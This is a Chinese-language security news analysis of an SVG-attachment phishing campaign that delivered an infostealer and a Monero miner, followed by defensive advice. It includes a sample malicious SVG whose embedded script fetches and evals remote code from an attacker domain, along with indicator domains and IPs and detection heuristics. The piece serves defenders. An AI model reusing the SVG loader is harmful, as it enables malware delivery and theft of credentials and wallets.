一、一封“发票图”,竟成远程控制入口?
2025年秋,欧洲多家中小企业财务人员陆续收到一封看似普通的邮件:“附件为贵司最新账单,请查收。”随信附带一个名为 invoice_OCT2025.svg 的文件。用户双击打开后,屏幕上只显示一张简洁的矢量发票图——毫无异常。
然而,就在图像加载完成的瞬间,后台已悄然执行一段嵌入式JavaScript代码,从境外服务器下载名为 Amatera Stealer 的恶意程序。数分钟后,受害者的浏览器Cookie、加密钱包私钥、企业凭证被批量上传;与此同时,另一模块 PureMiner 开始在后台调用CPU资源,为攻击者挖掘门罗币(Monero)。
这并非科幻桥段,而是FortiGuard Labs与WhoisXML API联合披露的一起真实攻击事件。根据CircleID于2025年10月30日发布的深度分析报告,攻击者正大规模利用 SVG(可缩放矢量图形)文件作为初始投递载体,绕过传统邮件网关对“图片”的信任假设,实现高隐蔽性入侵。
更令人警惕的是,整个攻击基础设施通过多层DNS别名链、公共云CDN伪装和快变域名(Fast-Flux)技术隐藏真实C2(命令与控制)服务器,使得基于IP或域名的静态封堵几乎失效。
“我们过去总说‘不要点.exe’,但现在连.svg都可能执行代码。”公共互联网反网络钓鱼工作组技术专家芦笛在接受本报采访时直言,“攻击者正在把‘无害格式’变成武器,而我们的防御体系还没跟上。”
二、SVG为何能“执行代码”?技术原理深度解析
要理解此次攻击的颠覆性,必须先厘清SVG的本质。
SVG(Scalable Vector Graphics)是一种基于XML的矢量图像格式,广泛用于网页图标、数据可视化和响应式设计。但与PNG、JPEG等纯栅格图像不同,SVG支持内嵌JavaScript、CSS甚至外部资源引用。这意味着,一个“.svg”文件本质上是一个可执行的微型网页。
攻击载荷构造示例:
以下是一个简化版的恶意SVG文件结构(仅用于教学演示):
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="300">
<title>Invoice OCT2025</title>
<rect x="10" y="10" width="480" height="280" fill="#f0f0f0"/>
<text x="50" y="50" font-size="18">Invoice #INV-202510</text>
<!-- 恶意脚本隐藏在看似无害的标签中 -->
<script type="application/ecmascript"><![CDATA[
(function() {
// 动态构建下载URL
const domain = "ms-team-ping2[.]com";
const payload = "/loader.bin";
// 创建隐藏iframe触发下载
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = "https://" + domain + payload;
document.body.appendChild(iframe);
// 或通过fetch下载并执行
fetch("https://" + domain + "/stage2.js")
.then(r => r.text())
.then(eval); // 危险!但有效
})();
]]></script>
</svg>
当用户在浏览器或支持脚本渲染的SVG查看器中打开此文件时,内嵌的JavaScript会立即执行,从远程服务器拉取第二阶段载荷(如Amatera Stealer)。
注:Windows默认使用Internet Explorer引擎渲染本地SVG文件,若未禁用ActiveX或脚本执行,极易中招。
为何能绕过传统防御?
扩展名欺骗:邮件网关通常将.svg归类为“安全图像”,不进行沙箱 detonation;
MIME类型混淆:即使服务器返回Content-Type: image/svg+xml,多数安全设备不会解析其内部脚本;
无文件落地:部分攻击采用内存加载(in-memory execution),避免写入磁盘,规避EDR检测。
三、攻击链条全景:从SVG到窃密与挖矿
根据CircleID报告及FortiGuard Labs的IoC(Indicators of Compromise)分析,此次攻击分为三个阶段:
阶段一:初始投递(Initial Delivery)
攻击者通过钓鱼邮件发送SVG附件,主题多为“发票”“合同”“物流通知”;
文件名刻意模仿业务场景(如 shipping_notice_7891.svg);
部分变种将SVG托管于GitHub Gist、Pastebin或Google Drive,通过短链接诱导点击。
阶段二:载荷下载与执行(Payload Execution)
SVG内嵌脚本连接至第一跳C2域名(如 ms-team-ping2[.]com);
下载轻量级下载器(Downloader),负责获取主载荷;
主载荷包括:
Amatera Stealer:专用于窃取浏览器Cookie、保存的密码、加密货币钱包(如MetaMask)、Discord令牌等;
PureMiner:基于XMRig的定制挖矿程序,具备进程隐藏、CPU占用动态调节、反调试功能。
阶段三:C2通信与持久化(C2 & Persistence)
C2基础设施采用多层DNS伪装:
域名注册于NiceNIC、Web Commerce等宽松注册商;
使用CNAME链指向Cloudflare、Amazon CloudFront等公共CDN;
真实服务器IP隐藏在CDN背后,难以溯源。
DNS查询数据显示,部分域名在被标记为恶意前 14–105天 已出现在威胁情报Feed中,表明攻击者提前“养域”以提升信誉。
例如,域名 ms-team-ping2[.]com 的DNS解析链如下:
ms-team-ping2.com
→ CNAME → cdn-assets[.]cloudflaressl.com
→ A → 104.21.63.189 (Cloudflare边缘节点)
→ 实际回源至 109.176.207.110(荷兰Nasstar托管)
这种架构使得基于IP的封堵无效,而基于域名的封堵又因快变策略(每日轮换子域)而滞后。
四、国内启示:中国企业的“图片信任”同样危险
尽管此次攻击主要针对欧美目标,但其手法对中国市场极具警示意义。
首先,国内企业普遍依赖邮件处理发票、合同、物流单据。财务、采购、行政人员每日接收大量附件,对“.svg”虽不常见,但对“.html”“.htm”甚至“.url”快捷方式的警惕性仍不足。一旦攻击者将SVG替换为类似格式,风险极高。
其次,国内大量中小企业使用老旧Windows系统(如Win7/Win10未打补丁),默认SVG查看器仍启用脚本执行。2025年已有安全厂商捕获到仿冒“税务通知.svg”的样本,试图下载远控木马。
芦笛指出:“中国用户对‘官方文件’的信任度极高,尤其来自‘税务局’‘银行’‘物流公司’的通知。攻击者只需稍作本地化,就能复刻这套攻击链。”
更值得警惕的是,PureMiner类挖矿程序在国内云服务器环境中尤为猖獗。攻击者常通过弱口令爆破或未修复漏洞入侵云主机,部署挖矿脚本。若结合SVG钓鱼作为初始入口,可形成“端点→服务器”的横向移动链条。
五、防御升级:从“信任图片”到“隔离执行”
面对SVG钓鱼的新威胁,专家建议采取多层次防御策略:
1. 邮件与代理侧:主动剥离与渲染隔离
强制将SVG转为静态PNG:在邮件网关或安全邮件平台(如Mimecast、Proofpoint)中配置策略,对所有SVG附件进行无脚本渲染,并转换为不可执行的栅格图像;
启用浏览器隔离(Browser Isolation):对所有来自邮件、聊天工具的SVG链接,在远程沙箱中打开,本地仅接收像素流;
MIME类型严格校验:拒绝image/svg+xml类型的直接下载,或强制以文本方式呈现。
2. 终端侧:禁用SVG脚本执行
在Windows组策略中禁用SVG的Active Scripting:
计算机配置 → 管理模板 → Windows组件 → Internet Explorer → 安全功能 → 限制ActiveX安装 → 启用
推广使用无脚本SVG查看器(如Inkscape、专用PDF转换工具);
对普通用户,建议将.svg文件关联至记事本,避免双击执行。
3. DNS层:启发式检测与被动追踪
部署支持DNS流量分析的安全平台(如Cisco Umbrella、Palo Alto DNS Security),识别以下异常:
高熵子域(如 x7k9q2.ms-team-ping2.com);
多层CNAME链指向公共CDN;
域名生命周期极短(注册<7天即活跃)。
利用被动DNS(Passive DNS) 数据库(如WhoisXML API、SecurityTrails)追踪域名历史解析记录,发现潜在C2基础设施。
例如,通过Python脚本查询可疑域名的CNAME链:
import dns.resolver
def trace_cname_chain(domain):
chain = []
current = domain
while True:
try:
answers = dns.resolver.resolve(current, 'CNAME')
cname = str(answers[0].target).rstrip('.')
chain.append(cname)
if cname == current: # 避免循环
break
current = cname
except dns.resolver.NoAnswer:
break
except Exception as e:
print(f"Error resolving {current}: {e}")
break
return chain
# 示例:追踪 ms-team-ping2.com
print(trace_cname_chain("ms-team-ping2.com"))
# 输出:['cdn-assets.cloudflaressl.com']
4. 终端检测:行为监控与内存扫描
部署支持无文件攻击检测的EDR(如CrowdStrike、SentinelOne),监控以下行为:
非浏览器进程加载JavaScript引擎(如jscript.dll);
svchost.exe或dllhost.exe发起异常外联;
内存中出现XMRig特征字符串(如“moneropool.com”)。
对Amatera Stealer,重点监控对 %LocalAppData%\Google\Chrome\User Data 等路径的非常规访问。
六、结语:安全不能止步于“看起来无害”
SVG钓鱼的兴起,标志着攻击者正系统性地利用格式信任与防御盲区。他们不再需要复杂的漏洞利用,只需一个被误认为“安全”的文件扩展名,就能打开通往企业核心资产的大门。
这不仅是技术挑战,更是安全思维的转型契机。正如芦笛所言:“未来的安全,不是判断‘它是不是病毒’,而是问‘它为什么需要执行代码?’”
在万物皆可脚本化的时代,我们必须重新定义“可信内容”。每一次双击,都应是一次有意识的安全决策——因为最危险的攻击,往往披着最无害的外衣。
编辑:芦笛(公共互联网反网络钓鱼工作组)